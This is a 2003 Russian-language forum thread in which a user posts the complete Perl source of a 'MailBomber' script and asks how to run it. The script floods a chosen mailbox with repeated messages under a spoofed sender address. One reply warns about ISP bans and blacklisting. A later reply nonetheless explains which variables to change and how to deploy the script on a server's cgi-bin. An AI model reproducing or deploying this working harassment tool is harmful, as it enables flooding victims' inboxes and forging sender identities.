-
Вебмастеру
(
http://forum.oszone.net/forumdisplay.php?f=22)
| TarasBulba |
21-05-2003 19:15 216723 |
Вот исходник, что с ним делать не знаю :( , кто знает :help:
Цитата:
#!/usr/bin/perl
#
# k0dsweb gr0up
# [ Network Security Systems ]
#
# Language: Perl Code
# Platform: Any with Perl started.
# 8.11.2002
#
# Author: {dr}{nerve} // k0dsweb
# kodsweb.ru
#
# All Rights Reserved by k0dsweb gr0up
#
#############################################
#############################################
# #
# k0dsweb MailBomber v1.0 #
# #
#############################################
#############################################
use Net::SMTP;
system("cls;clear");
print "\n\n\n\t\tk0dsweb MailBomber v1.0\n";
print "\t\tLanguage: Perl Code\n";
print "\t\tPlatform: Any with Perl started\n";
print "\t\tAuthor: {dr}{nerve} // k0dsweb\n\n";
print "\t\tAll Rights Reserved by k0dsweb gr0up.\n";
print "\t\tReady to work...\n";
$to="lox\@mail.ru";
$from="putin\@president.ru";
$subject="Present from President!";
$body=("Nice to clean you MailBox Russians!!!");
# Change the number of times you want the letter to be sent
$timestosend=10;
# Change for available smtp host (Usually your ISP SMTP host)
$smtpserver="mtu.ru";
for($i=1;$i<=$timestosend;$i++){
&send_mail;
print "$i letter (s) sent.\n";
}
sub send_mail{
$smtp = Net::SMTP->new($smtpserver);
$smtp->mail($from);
$smtp->to($to);
$smtp->data();
$smtp->datasend("To: $to\n");
$smtp->datasend("From: $from\n");
$smtp->datasend("Subject: $subject\n");
$smtp->datasend("\n");
$smtp->datasend("$body\n");
$smtp->dataend();
$smtp->quit;
}
# PS:
# To use this programm you have to have your SMTP.pm module installed
#
# Do not forget about spam-control!
# Good Luck!
|
|
| TarasBulba |
24-05-2003 11:25 216724 |
Млин, что никто не знает, как работать с Perl ? :gigi:
|
Отчего же, знаем. Вот не знаем только зачем человеку, который его не знает, мылобомбер, да еще самый элементарный? Накидать "ради прикола" кучу писем кому-нибудь в ящик, потом обиженый напишет письмо твоему провайдеру, а он тебя отключит за спам и внесет в региональный черный список.
Оно тебе надо? Конечно бывают иногда веские причины.
Таковые есть?
|
| TarasBulba |
24-05-2003 19:47 216726 |
Цитата:
Отчего же, знаем. Вот не знаем только зачем человеку, который его не знает, мылобомбер, да еще самый элементарный? Накидать "ради прикола" кучу писем кому-нибудь в ящик, потом обиженый напишет письмо твоему провайдеру, а он тебя отключит за спам и внесет в региональный черный список.
Оно тебе надо? Конечно бывают иногда веские причины.
Таковые есть?
|
Vitki
Ты меня не понял, я не хочу кидать кучу писем кому-нибудь на E-Mail (у меня для этого есть нормальный Mail Bomber :) ). Мне просто интересно знать, что надо сделать с исходником, чтобы он заработал :gigi: .
[s]Исправлено: TarasBulba, 20:48 24-05-2003[/s] |
| xFLINTx |
25-05-2003 06:19 216727 |
ну дык.. там же все написано.. внести изменения в:
Код:
$to="lox\@mail.ru";
$from="putin\@president.ru";
$subject="Present from President!";
$timestosend=10;
$smtpserver="smtp.mail.ru"
вбить в файло, назвать его mailbomb.pl - залить на сервак в дир /cgi-bin/ по дефолту с правами 0755... затем запустить.. :lol:
:type: |
Время: 18:29.
© OSzone.net 2001-
